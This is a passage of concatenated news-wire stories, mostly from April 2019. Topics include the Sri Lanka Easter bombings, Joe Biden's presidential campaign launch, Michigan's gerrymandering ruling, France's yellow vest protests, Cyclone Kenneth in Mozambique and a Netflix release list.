tourists sitting down to breakfast at top-end hotels when the bombers struck. They included eight British people. The Foreign Office advised any Britons in Sri Lanka to follow the advice of local security authorities, to keep a low profile and avoid crowded public places, and to avoid travelling during periods of curfew. (Reporting by Kate Holton; Editing by Toby Chopra) Washington (AFP) - Former US Vice President Joe Biden announced Thursday he is running for the White House, positioning the veteran Democrat as a frontrunner among the many candidates seeking to challenge Donald Trump in 2020. The party's 76-year-old senior statesman became the most experienced and recognized Democrat in the race, a popular former vice president dominating early polls following months -- even years -- of campaign planning. In a tweet accompanied by a three-and-a-half minute video, Biden said he could not stand idly by as US President Donald Trump "fundamentally altered the character of this nation". "The core values of this nation... our standing in the world... our very democracy... everything that has made America -- America -- is at stake," he wrote in the post. "That's why today I'm announcing my candidacy for President of the United States." Biden, whose working-class appeal remains intact despite nearly half a century in Washington politics, is seen as a comforting, known quantity for American voters who will be vetting some 20 Democrats now officially in the presidential field. But recent controversy over his tactile style, particularly with women, could dampen a rollout that he envisioned as the final main entry to the Democratic primary battle. Even before his official announcement, Biden, who served eight years as Barack Obama's vice president, led most surveys of Democratic voters. The RealClearPolitics poll aggregate puts him as favourite with 29.3 percent support, followed by independent Senator Bernie Sanders at 23 percent. Washington (AFP) - Joe Biden, the former vice president and Democratic heavyweight who launched his 2020 White House campaign Thursday, has sought the office twice before, in 1988 and 2008. He considered mounting another run four years ago, but his son Beau succumbed to brain cancer in May 2015, and the grief-stricken vice president ultimately decided against seeking the nomination in 2016. Here is a look at Biden's previous two presidential bids. - 1988 - Biden was 44 years old and a 15-year veteran of the US Senate in June 1987 when he first threw his hat in the nomination ring. While on the campaign trail he sought to promote his family's humble origins, and began borrowing the eloquent phrasings and syntax of British politician Neil Kinnock. At first Biden credited Kinnock, but by the time he used the lines in his closing remarks at an August debate at the Iowa State Fair, the crediting was absent. It was subsequently learned that Biden lifted passages from the late Robert Kennedy without attribution, and plagiarized five pages of a law-review paper, and pressure swiftly built on the candidate. He dropped out of the race that September, saying that as head of the Senate Judiciary Committee he would concentrate his efforts on chairing the confirmation hearings for US Supreme Court nominee Robert Bork. - 2008 - Twenty years later, Biden was ready for another political rodeo. He ran on his extensive national security experience, gained in part from his chairmanship of the Senate Foreign Relations Committee, and his support for a political solution in Iraq. Biden also caused a firestorm early in the race when he characterized then-senator Barack Obama, one of his campaign opponents, as "the first mainstream African American who is articulate and bright and clean." The remark was considered by many to be racist, and Biden expressed regret for the comments. Biden soldiered on, campaigning in early voting states and debating rivals. But his campaign stalled, and in early 2008 he finished fifth in the Iowa caucuses. He dropped out soon after. His campaign, however, raised his profile in the eyes of rival Obama, who became the nominee and picked Biden as his running mate, in part to beef up his foreign policy credibility. The pair won the general election in November 2008. LANSING, Mich. (AP) Michigan must redraw dozens of congressional and legislative districts for the 2020 election because Republicans configured them to guarantee their political dominance over the last decade by unconstitutionally diluting the power of Democratic voters, federal judges ruled Thursday. In a 3-0 ruling which will be appealed the panel gave the GOP-led Legislature and new Democratic Gov. Gretchen Whitmer until Aug. 1 to enact new maps for nine of 14 congressional seats and 25 of 148 legislative districts. The number of newly cast seats would be higher, though, because of the impact on adjacent districts. The judges also ordered that special state Senate elections be held in 2020, halfway through senators' normal four-year terms. The panel said it would draw its own maps if new ones are not submitted or if those that are proposed do not comply with constitutional requirements. The decision was the latest development in a series of lawsuits alleging unconstitutional gerrymandering in a dozen states. The U.S. Supreme Court is considering whether to set limits on partisan mapmaking. Judge Eric Clay of the 6th U.S. Circuit Court of Appeals, U.S. District Judge Denise Page Hood of Michigan's Eastern District and U.S. District Judge Gordon Quist of Michigan's Western District said mapmakers, political consultants and lawmakers involved in the Republican-controlled 2011 redistricting effort elevated "partisan considerations" at every step. "Their primary goal was to draw maps that advantaged Republicans, disadvantaged Democrats and ensured that Republicans could enjoy durable majorities in Michigan's congressional delegation and in both chambers of the Michigan legislature for the entire decade," they wrote. GOP legislators vowed to appeal to the Supreme Court. "We will prepare to comply with this most recent ruling while we await the outcome of the appeal," Senate Majority Leader Mike Shirkey said in a statement. The state Republican Party said the pending appeal is needed to "uphold the will of Michigan voters." Story continues The suit was filed by the League of Women Voters of Michigan and Democratic voters who claimed districts were shaped by Republicans to ensure the party's supremacy in the state Capitol after the 2010 census. They said constitutional rights were violated when Democratic areas were packed in certain districts or diluted elsewhere. The court agreed, ruling that oddly shaped seats such as the Democratic-held 9th Congressional District in suburban Detroit were drawn to strategically wrap around and exclude, "in a snakelike fashion," Republican areas, contributing to the packing of Democratic votes. "A wide breadth of statistical evidence indicates that the enacted plan's partisan bias has proven severe and durable; it has strongly advantaged Republicans and disadvantaged Democrats for eight years and across four separate election cycles. Moreover, the enacted plan represents a political gerrymander of historical proportions," the judges wrote. Two were nominated by former President Bill Clinton; the other was appointed by then-President George H.W. Bush. New Democratic Secretary of State Jocelyn Benson had attempted to settle the case by proposing that the Legislature redraw 11 of 110 state House seats excluding state Senate and congressional districts but the panel rejected her proposal and held a trial in February. "The court's ruling confirms that these Michigan state House and Senate and U.S. congressional districts are unconstitutional," Benson said in a statement. "I respect that decision, as should we all. As the state's chief election officer, I'm committed to working with the Legislature, citizens and the court to ensure the new districts comply with our U.S. Constitution." The suit pertains only to 2020. Michigan voters in November approved a constitutional amendment creating an independent commission to handle the typically once-a-decade redistricting process after the 2020 census, which will affect the 2022 election and beyond. Michigan is among five states where Republicans retained control of the state House even though Democratic candidates won more votes statewide last fall, an analysis by The Associated Press found. "Today is a great victory for the voters of Michigan and for our democracy," Judy Karandjeff, president of the League of Women Voters of Michigan, said in a statement. "The state will now draw new district lines before the next federal election, which now will better reflect the makeup of the voters not the interests of the politicians." ___ Follow Eggert at https://twitter.com/DavidEggert00 COLOMBO, Sri Lanka (AP) The Latest on the Easter attacks in Sri Lanka (all times local): 8:35 p.m. A military spokesman says soldiers have exchanged gunfire with suspects after attempting to raid a building in Sri Lanka's Eastern Province as part of the ongoing investigation into the Easter Sunday suicide bomb attacks. Brigadier Sumith Atapattu said a gunbattle was underway in the coastal town of Sammanthurai, 325 kilometers (200 miles) from the capital, Colombo. Officials say local militants with ties to the Islamic State group conducted a series of suicide bombings on Easter Sunday at churches and luxury hotels in and around Colombo and in the distant seaside village of Batticaloa. The health ministry says about 250 people were killed. Sri Lanka has remained on edge as authorities have pursued suspects with possible access to explosives. ___ 6 p.m. Catholic priests have allowed journalists inside St. Anthony's Church in Sri Lanka for the first time since it was targeted in a series of Islamic State-claimed suicide bombings that killed over 250 people. Broken glass littered the sanctuary's damaged pews and blood still stained the floor. Shoes left by panicked worshippers remained in the darkened church, and broken bottles of holy water and flowers were strewn on the floor. A suicide bomber struck St. Anthony's during an Easter service last Sunday, in one of three attacks on churches. The archbishop of Colombo says there will be no Sunday Masses until further notice after the bombings. ___ 5 p.m. The archbishop of Colombo says there will be no Sunday Masses until further notice after the Easter bombings in Sri Lanka. Cardinal Malcolm Ranjith made the comment during a news conference Friday in the Sri Lankan capital. Ranjith appealed for financial support to rebuild the lives of affected people and reconstruct the churches targeted in the Islamic State-claimed suicide bombings, which killed over 250 people on Sunday. Story continues The U.S. Embassy in Sri Lanka has warned people to stay away from places of worship this weekend over concerns about possible further attacks. Sri Lankan officials say they continue to search for suspects in the bombings. On Friday, authorities urged Muslims not to hold congregational prayers over fears they might be targeted. However, several mosques did under the protection of security forces. ___ 3:50 p.m. Germany's Foreign Ministry is advising against nonessential travel to Colombo after the Easter Sunday attacks on churches and hotels in and near the Sri Lankan capital. The updated travel advice issued Friday says there is in principle a danger of further attacks and advises visitors to exercise increased vigilance but stops short of an outright warning against travel to the capital or to Sri Lanka in general. A German-U.S. dual national was killed in Sunday's attacks. A total of 253 people died and more than 400 were wounded in the bombings blamed on Muslim militants. The U.S., the U.K. and other countries have issued similar advisories. ___ 1:45 p.m. An official Sri Lanka police Twitter account has been deleted after it misidentified an American human rights activist as a suspected Sri Lankan serial bomber, causing a social media furor. The account, @SriLankaPolice2, was deleted on Friday. Late Thursday, police posted the names and photos of three women and two men on Twitter that they said were at-large suspects in the Easter Sunday bombing attacks that killed more than 250 people. One of the names was of Muslim U.S. activist Amara Majeed, who quickly tweeted that she had been falsely identified. Sri Lankan police replied with an apology for the "inconvenience." ___ 12:20 p.m. Some mosques in Sri Lanka are holding communal Friday prayers despite the potential for attacks after the Easter suicide bombings. At 12:10 p.m., the call to prayer echoed through the Masjidus Salam Jumma Masjid mosque in Colombo. Police armed with Kalashnikov assault rifles stood guard outside. The U.S. Embassy had warned Americans to stay away from all religious ceremonies this weekend over the attacks, which have been claimed by the Islamic State group. Sri Lankan authorities had told Muslims to pray at home rather than attend communal Friday prayers that's the most important of the week ___ 11:30 a.m. Australia has warned travelers that "terrorists are likely to carry out further attacks in Sri Lanka." The government updated its travel advice website on Friday to say "attacks could be indiscriminate, including in places visited by foreigners." The warnings follow suicide bombings at churches and hotels on Easter that killed more than 250 people. Sri Lankan authorities say some suspects are still being sought. Australia's threat level remained unchanged, advising travelers to "reconsider your need to travel" to Sri Lanka, one tier below the highest warning of "do not travel." The U.S. Embassy has also warned Americans to avoid places of worship in Sri Lanka due to potential for more attacks, and Britain advised its citizens against traveling to the island country. ___ 10:55 a.m. Sri Lankan authorities say the suspected leader of the Easter Sunday attacks that killed at least 250 people died in the Shangri-La Hotel bombing in Colombo. Police said on an official Twitter account Friday that Mohamed Zahran died in the attack. He was the suspected leader of a local militant group known as National Towheed Jamaat, which officials say carried out the series of suicide bombings at hotels and churches. Police also said they have arrested the group's second-in-command. They said the militants received some of their weapons training overseas. Australia's prime minister said earlier on Friday that it had been confirmed that the Sri Lanka attackers were supported by the Islamic State group. ___ 10:30 a.m. Sri Lanka's president has appealed to the island nation not to view its minority Muslim community as terrorists in the wake of Easter Sunday attacks that officials say were carried out by a local Muslim extremist group. President Maithripala Sirisena spoke to Colombo-based reporters on Friday. He says Sri Lanka has the capability "to completely control ISIS activities" in the country, referring to the Islamic State group, which has claimed responsibility for the bombings that killed at least 250 people. Officials have acknowledged that some intelligence units were made aware of a plot to attack churches weeks in advance. Sirisena says he was kept in the dark and placed the blame squarely on Sri Lanka's defense secretary and police chief. He says the defense secretary had resigned but would stay on until a replacement could be named, and that the police chief would soon step down, too. ___ 7:10 a.m. Australia's prime minister says the Sri Lankan militants blamed for the Easter attacks in that country had support from the Islamic State group. Prime Minister Scott Morrison told reporters Friday that ties between the local group and Islamic State included identifying the targets of the attacks. Sunday's attacks killing at least 253 people primarily struck three churches that were packed with Easter worshippers and three luxury hotels popular with foreigners. Morrison said the attacks demonstrated a new front in fighting terrorism, that militants who fought in Syria and Iraq had returned home with skills to carry out attacks while being part of a broader network that could provide money, training and target identification. ___ 7 a.m. Heavy security is out on the streets of Sri Lanka's capital after warnings of further attacks by the militant group blamed for the Easter bombing that killed at least 250 people. At St. Anthony's Church, one of those struck in the attacks Sunday, there were more soldiers than normal Friday. Shops nearby remained closed. Gration Fernando crossed himself when he looked at the church after walking out of his shop there. Fernando says he, like other Sri Lankans, was worried about further attacks. He says there's "no security, no safety to go to church." He also says "now children are scared to go to church" as well. Authorities told Muslims to pray at home rather than attend communal Friday prayers that's the most important of the week. The Hill Rep. Madison Cawthorn and his wife are divorcing after less than a year of marriage, with the North Carolina Republican citing his job in Congress as part of the reason for the split."When my wife Christina [Bayardelle] and I were engaged, I was not a member of Congress," Cawthorn, 26, said in a statement posted by his spokesman on Wednesday. "I felt called to serve and we both agreed that I should run. Our victory was unprecedented. But... Paris (AFP) - France's finance minister promised Friday that some 15 million households would benefit from tax cuts announced by President Emmanuel Macron, but the move did little to calm tempers among "yellow vest" protesters. In a major address on Thursday night, the French leader promised a new round of tax cuts worth 5.0 billion euros ($5.5 billion) as part of a raft of measures in answer to five months of anti-government street protests over the high cost of living. But the speech, which was billed as a turning point for Macron's troubled presidency, sparked a mixed reaction on Friday and failed to win over those whose weekly protests had triggered the crisis. "The yellow vest movement has to keep going," said Thierry-Paul Valette, co-founder of the "Yellow Vest Citizens" group, saying Macron had "missed a crucial opportunity" to meet with those who had been protesting since mid-November. "From our five months of demonstrations, he learnt nothing... He didn't provide any political answers." Central to the package of measures outlined on Thursday were plans for new tax cuts which would be funded by axing corporate tax breaks, reducing public spending and introducing longer working hours. The reforms follow a package of tax cuts and income top-ups worth 10 billion euros announced in December following the first month of protests by the yellow vests. But Interior Minister Christophe Castaner stressed that Macron was addressing "the country, not 30,000 demonstrators". The number of "yellow vest" protesters has dwindled progressively since last November, but each weekend tens of thousands still turn out, with the protests infiltrated by violent far-left and far-right groups. - Tax breaks from January - Speaking to LCI news channel on Friday, Finance and Economy Minister Bruno Le Maire said 15 million households would benefit from the new measures, but promised they would not be funded by government borrowing. Story continues "We are not going to let the deficit expand," he said. "We are not going to let the public debt expand." Le Maire suggested there would be a "softening" of the lowest bracket of income tax -- which is set at 14 percent -- saying the current level was "too brutal" and "dissuasive." The tax cuts will be introduced in January 2020, Budget Minister Gerald Darmanin said. Work to thrash out the details of the tax cuts and other reforms along with a timeline will begin on Monday when Prime Minister Edouard Philippe meets with ministers and senior lawmakers in the ruling party. Cutting public spending to pay for tax cuts will be a major challenge for Macron's centrist government, given the sensitivity in France about any changes to public services. Macron suggested some government agencies could be eliminated and proposed more bureaucrats and public officials be transferred from Paris to provincial France. Asked whether the moves would be enough to pacify France, Gilles Le Gendre, who heads Macron's LREM in parliament, admitted it would take time. "For the moment, the anger is such that it will be difficult to make ourselves heard," he told BFM Business, although he insisted the message would eventually win them over. "We will steadily win people's confidence." - Too little, too late - But for many within the yellow vest movement, Macron's reforms were simply too little, too late. In Aubagne near Marseille, a dozen or so protesters angrily rejected his speech, denouncing the reforms as "stupid trivial measures" which they said showed he had "not listened to the people's demands". "He's taking us for idiots, it's a load of crap," fumed Jean-Luc, a shopkeeper who told AFP he had "had enough of seeing elderly people rummaging through dustbins". And he was also fed up "with rich people thinking they could teach (the protesters) a lesson". Priscillia Ludosky, a key figure in the movement, simply tweeted the dates of the next seven Saturdays, each marked with the word: "demo". Opposition figures agreed it had done little to help. In saying he would continue with his reform programme and even step up the pace, Macron had "stuck his fingers up at the yellow vests" said Sebastian Chenu, spokesman for the far-right National Rally. Plans to increase diesel prices and raise taxes on pensions provided the spark that initially triggered the protests in rural France in November, which quickly ballooned into a full-scale anti-government rebellion. A poll carried out for Le Figaro newspaper found that 63 percent of people found Macron unconvincing and 80 percent thought the "yellow vest" protests would continue. By Andrew Hay TAOS, N.M., April 25 (Reuters) - Facebook Inc on Thursday barred a New Mexico-based paramilitary group that has stopped undocumented migrants near the U.S.-Mexico border from using its fundraising tools and said it would remove any of its posts that violated company policies. Facebook made the statement after a civil rights organization asked it to block videos posted by the United Constitutional Patriots (UCP), saying the clips violated its standards, which prohibit images showing criminal acts. "People cannot use our fundraising tools for activities involving weapons," said a Facebook spokesperson in a statement. "We will remove fundraisers this group may try to start on our service and any content that violates our Community Standards." Since February, the UCP have posted a string of videos showing members armed with semi-automatic rifles halting migrants in New Mexico and telling them to sit and wait for U.S. Border Patrol to arrest them. The UCP says the videos demonstrate its work helping Border Patrol detain some 5,600 migrants in just 60 days during a surge in illegal crossings. Civil rights groups accuse the group of illegally detaining asylum seekers. "These videos include content showing possible assault, kidnapping and false imprisonment," the Lawyers' Committee for Civil Rights Under Law said in a statement on Thursday asking Facebook to remove them. UCP spokesman Jim Benvie did not immediately respond to a request for comment. In a Facebook Live post on Tuesday he described the group's videos as "citizen journalism" showing reality on the border. "There is a crisis at the border, we are being invaded," Benvie said. Facebook's Community Standards bar users from publicizing crime, using hate speech or presenting arguments for restricting immigration policy, among other things, the spokesperson said. PayPal and GoFundMe on Friday barred the UCP, citing policies that prohibit the promotion of hate or violence. Story continues New Mexico Governor Michelle Lujan Grisham last week called for an investigation of the group. The FBI arrested the UCP's commander, Larry Hopkins, on Saturday on federal weapons charges dating back to 2017. Hopkins was assaulted in a New Mexico jail on Monday and hospitalized with broken ribs. The UCP left its campsite on Tuesday after Union Pacific Railroad accused it of trespassing, but Benvie said it would soon relocate to a nearby spot along the border. "Were not going to quit fighting, were not going to quit reporting," he said. (Reporting By Andrew Hay in Taos, New Mexico; Editing by Frank McGurty and Susan Thomas) By Chris Kahn NEW YORK (Reuters) - Former Vice President Joe Biden, expected to declare his run for the 2020 Democratic presidential nomination on Thursday, leads all other candidates in the race and draws his strongest levels of support from minorities and older adults, according to a new Reuters/Ipsos public opinion poll. The April 17-23 poll released on Wednesday focused on the vote preferences of 2,237 Democrats and independents: the two groups that may select the Democratic nominee in most of the statewide contests ahead of the 2020 general election. (Graphic: Who is running in 2020 - https://graphics.reuters.com/USA-ELECTION/010091471JC/index.html) According to the poll, 24 percent would vote for Biden over 19 other declared and potential candidates. Another 15 percent said they would support U.S. Senator Bernie Sanders of Vermont, who ran a competitive campaign for the Democratic nomination in 2016. No other candidate received more than 7 percent of public support, and 21 percent said they "don't know" which candidate they would back in a primary. The poll measures how potential voters feel right now. Many may change their minds as they become better acquainted with the candidates. It has a credibility interval, a measure of precision, of 2 percentage points for the combined group of Democrats and independents. The statewide nominating contests will kick off in early February next year, led by Iowa. Biden, 76, who has sought the Democratic presidential nomination twice before, remains widely popular since he left the White House in 2016 after two terms as vice president. The former longtime U.S. senator will announce he is seeking the Democratic nomination https://reut.rs/2IAxNys on Thursday, a source familiar with the plans said on Tuesday. Sixty-three percent of all Americans say they have a "favorable" impression of Biden, including 88 percent of Democrats, 59 percent of independents and 39 percent of Republicans. In comparison, 58 percent of Americans said they have a favorable view of Sanders and Pete Buttigieg, the 37-year-old mayor of South Bend, Indiana, whose upstart campaign has out-raised some of his more established rivals this year. All three appear to have stronger bipartisan appeal than Republican President Donald Trump. According to the poll, 44 percent of all adults said they have a generally favorable view of Trump. Biden receives his strongest levels of support from older adults and minorities. Thirty-two percent of adults who are 55 years old and older said they would vote for Biden over other candidates. And 30 percent of nonwhite adults, including about 4 in 10 African-Americans, said they would back Biden for the nomination. The poll shows that at this early stage of the presidential campaign, Americans say they will vote for candidates who have been in the national spotlight for a long time. Their preferences may change once they get to know other candidates for the Democratic nomination. More than 80 percent of Democrats said they were at least "somewhat familiar" with Biden and Sanders. Sixty-seven percent of Democrats were familiar with Senator Elizabeth Warren of Massachusetts, and about half said they were familiar with former U.S. Representative Beto O'Rourke of Texas or U.S. Senators Kamala Harris of California and Cory Booker of New Jersey. The rest of the field appears to be largely unknown by a majority of Democrats. The Reuters/Ipsos poll was conducted online in English throughout the United States. It gathered responses from 4,018 adults in all, including 1,449 Democrats, 1,437 Republicans and 788 independents. (To see the poll question and answers, please see: https://tmsnrt.rs/2W7qykY.) (Reporting by Chris Kahn; Editing by Leslie Adler and Jonathan Oatis) Beira (Mozambique) (AFP) - A powerful cyclone pounded northern Mozambique on Friday, leaving one person dead and wrecking homes and communications, barely a month after the country was hit by one of the worst storms in its history. Cyclone Kenneth, a Category Three storm on the hurricane scale, made landfall in Cabo Delgado province late Thursday after swiping the Comoros islands. By mid-Friday, its peak winds of 160 kilometres (100 miles) an hour had fallen back to about 70 kph, according to the national meteorological institute. But heavy rains were forecast over the next 24 hours, fuelling the risks of floods and mudslides in the poor region. Mozambique's emergency agency, the INGC, reported a death caused by a falling coconut tree in the port city of Pemba, Cabo Delgado's provincial capital, along with severe flooding, mudslides and widespread power outages. The International Federation of Red Cross and Red Crescent Societies (IFRC) reported "heavy damage" and wrecked homes in some coastal towns along the northern coast, while communication lines in Macomia and Muidumbe remain down. In many affected communities, areas "are prone to flooding and landslides in normal rainfall, and this is far from a normal situation," it warned. - 'Biblical' - On the tourist island of Ibo, home to 6,000 people, 90 percent of homes had been flattened, according to a spokesman for the INGC, Antonio Beleza. "It looks like the island has been bombed... It is biblical," said a South African tour operator and owner of a hotel on Ibo, Kevin Record. Communities in central Mozambique are still reeling from Cyclone Idai, which hit on the night of March 14-15, causing killer floods that swept away homes, roads and bridges. The storm also smashed into Zimbabwe and Malawi. In the three countries, more than a thousand lives were lost, and damage is estimated at around $2 billion (1.8 billion euros). The UN World Food Programme (WFP) on Thursday said Kenneth was expected to dump over 600 millimetres (almost 24 inches) of rain over the next few days in some areas. Story continues By way of comparison, this would be nearly double the amount that fell on the central city of Beira during Cyclone Idai -- a downpour that turned parts of the region into an inland sea. - 'Additional blow' - "Although floodwaters have receded in most areas it (Idai) affected, access is still a challenge as infrastructure was severely compromised," the WFP warned. "This second cyclone is an additional blow for the people of Mozambique and bound to complicate the humanitarian response." The UN agency added that it had already provided food aid to 1.3 million people after Idai. The government has made public buildings including schools available to people seeking shelter and the WFP has "pre-positioned" over 500 tonnes of food. A helicopter is expected to arrived in Cabo Delgado when weather conditions allow as roads are expected to be impassable because of flooding, making food delivery difficult. Forecasters at Meteo-France warned that Kenneth could trigger waves off Mozambique's northeastern shore as much as five metres (16 feet) higher than usual. - Tanzania worried - In neighbouring Tanzania, the authorities issued red alerts to warn of the dangers from rain, floods and landslides. The provinces of Mtwara, Lindi and Ruvuma were at highest risk, the country's meteorological agency said. Residents in Mtwara were leaving the coastal enclave with their families, some on foot, for emergency shelters, witnesses told AFP by phone. Gelasius Byakanwa, the governor of Mtwara, ordered schools closed in his province and asked "students to stay home and employees not to go to their offices". In Geneva, the World Meteorological Organization (WMO) said Mozambique's back-to-back cyclones were unprecedented. "There is no record of two storms of such intensity striking Mozambique in the same season," the UN's weather agency said. A fact-finding WMO mission in Mozambique will look at the "impact of climate change and sea-level rise on Mozambique's resilience" to extreme weather, it said. Climate change has made cyclones more damaging, as rising sea levels have increased the strength of storm surges, WMO spokeswoman Clare Nullis told AFP. Higher or more powerful waves are driven towards the shore, potentially posing a greater risk for coastal-dwelling populations. If you were worried about spending the summer without a new season of Riverdale, you can always relive every second of the action on Netflix. Just days after the third season comes to a close on The CW, and Netflix will have the latest chapter in the always unpredictable saga available for all of your streaming needs, beginning on May 23rd. And don't worry, because if you've had enough Gryphons and Gargoyles for one summer, there's plenty more film and tv to catch up on. May is a packed month on Netflix, with the streaming service also welcoming Roswell: New Mexico on May 1st and Pose on May 10th. Along with a number of new and returning television series, the streaming service also announced that Extremely Wicked, Shockingly Evil, and Vile, a film starring Zac Efron as Ted Bundy will debut on May 3rd. Summer vacation is usually a time for days spent poolside and adventures with friends, but thanks to these new arrivals, you may also want to set a day (or five) for some serious watching. Ahead, check out the complete list of May 2019 Netflix arrivals. Avail. in May Charmed (2018): Season 1 DC's Legends of Tomorrow: Season 4 The Mechanism: Season 2 Supergirl: Season 4 Avail. 5/1/19 Knock Down The House Munafik 2 Angels & Demons Austin Powers: International Man of Mystery Austin Powers: The Spy Who Shagged Me Casper Chasing Liberty Code Geass Lelouch of the Rebellion Part 1 & 2 Dr. Seuss' The Cat in the Hat Dumb and Dumber Fear and Loathing in Las Vegas Gosford Park Gremlins Hairspray (1988) Harold & Kumar Escape from Guantanamo Bay Her Only Choice Hoosiers Inside the Mind of a Serial Killer: Season 2 John & Yoko: Above Us Only Sky Just Friends Revolutionary Road Roswell, New Mexico: Season 1 Scarface Scream Snowpiercer Taking Lives The Da Vinci Code The Dark Crystal (1982) The Matrix The Matrix Reloaded The Matrix Revolutions To Rome With Love Wedding Crashers Who's Afraid of Virginia Woolf? Zombieland Avail. 5/2/19 Story continues Colony: Season 3 Olympus Has Fallen Avail. 5/3/19 A Pesar De Todo All In My Family Alles ist gut Cupcake & Dino - General Services: Season 2 Dead to Me Extremely Wicked, Shockingly Evil and Vile Flinch Jo Pil-ho: The Dawning Rage The Last Summer Mr. Mom Supernatural: Season 14 True and the Rainbow Kingdom: Mushroom Town Tuca & Bertie Undercover Avail. 5/4/19 Like Arrows Avail. 5/6/19 Abyss Avail. 5/7/19 The Heat: A Kitchen (R)evolution Queen of the South: Season 3 Avail. 5/8/19 Lucifer: Season 4 Avail. 5/9/19 Bathtubs Over Broadway Insidious Avail. 5/10/19 Dry Martina Easy: Season 3 Gente que viene y bah Harvey Girls Forever!: Season 2 Jailbirds Pose: Season 1 ReMastered: The Lion's Share Sheherazade The Society Wine Country Avail. 5/12/19 Patriot Act with Hasan Minhaj: Volume 3 Avail. 5/13/19 Malibu Rescue Avail. 5/14/19 revisions Still LAUGH-IN: The Stars Celebrate Weed the People Avail. 5/15/19 Dennis & Gnasher: Unleashed! Avail. 5/16/19 Good Sam Take Me Home Tonight Avail. 5/17/19 1994: Limited Series Chip & Potato It's Bruno Maria Morir para contar Nailed It!: Season 3 See You Yesterday The Rain: Season 2 Well Intended Love White Gold: Season 2 Avail. 5/18/19 The Blackcoat's Daughter Avail. 5/20/19 Prince of Peoria: Part 2 Rosario Tijeras (Mexico Version): Season 2 Avail. 5/21/19 Arrow: Season 7 Moonlight Wanda Sykes: Not Normal Avail. 5/22/19 A Tale of Two Kitchens One Night in Spring The Flash: Season 5 Avail. 5/23/19 Riverdale: Season 3 Slasher: Solstice Avail. 5/24/19 After Maria Alta Mar Joy Rim of the World She's Gotta Have It: Season 2 The Perfection WHAT / IF Avail. 5/27/19 Historical Roasts Outlander: Seasons 1-2 Avail. 5/28/19 Disney's The Nutcracker and the Four Realms Avail. 5/30/19 Chopsticks My Week with Marilyn Svaha: The Sixth Finger The One I Love Avail. 5/31/19 Always Be My Maybe Bad Blood: Season 2 Black Spot: Season 2 How to Sell Drugs Online (Fast) Killer Ratings When They See Us Let us slide into your DMs. Sign up for the Teen Vogue daily email. Want more from Teen Vogue? Check this out: Mary-Kate and Ashley Olsen's "Passport to Paris," "Billboard Dad," and More Are Coming to Hulu NEW YORK (AP) A U.S. Marine killed in a roadside bombing in Afghanistan was honored by mourners from across the country at his funeral Friday in New York City, where he also was a decorated firefighter. The flag-draped casket of Staff Sgt. Christopher Slutman was carried atop a fire engine from a Bronx funeral home to Manhattan's majestic Saint Thomas Church. Thousands of Marines, firefighters and other responders in their dress uniforms lined both sides of Fifth Avenue for nearly a mile, saluting amid a slow drumbeat and the bagpipe strains of "Amazing Grace." "Today our city mourns a hero," Mayor Bill de Blasio said at the Episcopal service, adding that Slutman represented "the best in us." The 43-year-old father of three young daughters died April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. A 15-year member of the Fire Department of New York, Slutman was with Ladder 27 in the Bronx. In 2014, he received a medal for bravery after rescuing an unconscious woman from a burning apartment in the South Bronx. "Chris and his inside team forced open the door to the burning apartment and were met with high heat and thick black smoke that went from the floor to the ceiling," said Chris Williamson, who was Slutman's FDNY captain for four years. "Chris crawled on his belly through the smoke to a rear bedroom and found an unconscious woman; he did this without the protection of a fire hose." He then dragged the woman to safety. Marine Sgt. Major Chris Armstrong described Slutman as "a leader who was respected and admired." "When I received the terrible news, my heart broke as I thought of Chris's family and unit," Armstrong said, fighting back tears. In speaking of Slutman, Wiliamson described him as "squared away." "One phrase that seems to keep coming up when describing Chris is the term 'squared away' used by all branches of the military to describe one whose performance is even with or above satisfactory levels. I think everyone in this church that knew Chris would wholeheartedly agree that he was way above satisfactory levels." A native of Newark, Delaware, Slutman had served as a volunteer firefighter in Maryland. He is to be buried on Tuesday at Arlington National Cemetery in Virginia. By Marco Aquino LIMA (Reuters) - Peru will sign a memorandum of understanding to join China's Belt and Road infrastructure initiative in coming days, China's ambassador said on Wednesday, despite recent warnings from the United States about the Beijing's rise in Latin America. Ambassador Jia Guide made the announcement to guests at a private party in Lima alongside Peru's vice president, as China kicked off a three-day Belt and Road summit in Beijing that Peru's trade minister and leaders from around the world are attending. The deal will make Peru one of a few Latin American nations to formally join the China's flagship infrastructure policy, underscoring how countries around the world are being drawn into China's orbit by the promise of investment and despite U.S. objections. Vice President Mercedes Araoz said Peru's relationship with Washington would remain strong. "Signing this memorandum of understanding is the start of a cooperation model that China has proposed to the world which...will allow us to broaden our ties," Araoz told Reuters at the event following Jia's announcement. "We've established very strong bilateral relations with China as we have with the United States," Araoz added. Chinese President Xi Jinping first pitched its "One Belt, One Road" policy in 2013 as a way to expand Beijing's links with Asia, Africa and Europe through billions of dollars in infrastructure investments. But early last year, China invited Latin American and Caribbean countries to sign up as well, as it seeks to deepen its ties in a resource-rich region where U.S. influence is historically strong. Chile, which like Peru is a close ally of the United States, announced in November that it was joining the initiative. Peru's decision to sign up as well comes within two weeks of a state visit from U.S. Secretary of State, who repeatedly warned about the risks of what he described as Chinese predatory lending on his recent four-nation tour of South America. China's finance minister said at the start of the summit that Beijing aims to make the Belt and Road initiative sustainable and prevent debt risks, seeking to allay criticism that its infrastructure plan fuels indebtedness in participant countries and lacks transparency. China overtook the United States as Peru's largest trade partner years ago, thanks largely to its imports of copper and other minerals from the South American country. Chinese investments in Peru remain focused on mining, but have broadened to include infrastructure in recent years. (Reporting by Marco Aquino, Writing by Mitra Taj; Editing by Sandra Maler & Kim Coghill) WELLINGTON, New Zealand (AP) Britain's Prince William on Thursday met with some of the police officers and medics who were the first to respond to last month's mosque attacks in Christchurch, New Zealand. The Duke of Cambridge arrived in Christchurch in the afternoon after earlier attending an Anzac Day service in Auckland alongside Prime Minister Jacinda Ardern. At the service, the prince laid a wreath of red and white flowers on behalf of his grandmother, Queen Elizabeth II. William is on a two-day trip to New Zealand and plans to meet later with survivors of the mosque attacks in which 50 people were killed and 50 others wounded. New Zealand Police Commissioner Mike Bush told reporters after the meeting with first responders that the prince had been very supportive and had wanted to make sure the officers and medics were looking after themselves. Bush said the prince told staff that "A good friend doesn't pick up the phone when people are in need. You travel to their place and you put your arms around them." Anzac Day is a memorial holiday on the anniversary of New Zealand and Australian soldiers, known as Anzacs, landing on the Gallipoli Peninsula in 1915. More than 10,000 soldiers from the two countries were killed during that World War I campaign in what is now Turkey. On Friday, William will visit the two mosques where the massacres took place March 15. By Dominique Patton BEIJING (Reuters) - Saudi Arabia's energy minister Khalid al-Falih told Reuters on Thursday that China has "not yet" asked for 